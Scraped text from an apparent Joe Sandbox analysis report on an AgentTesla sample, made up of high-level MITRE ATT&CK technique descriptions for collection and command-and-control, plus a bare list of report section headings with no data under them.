Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report GRUPO MARI#U00d1O OBRAS Y SERVICIOS, SL Oferta 2709212890.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Networking:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre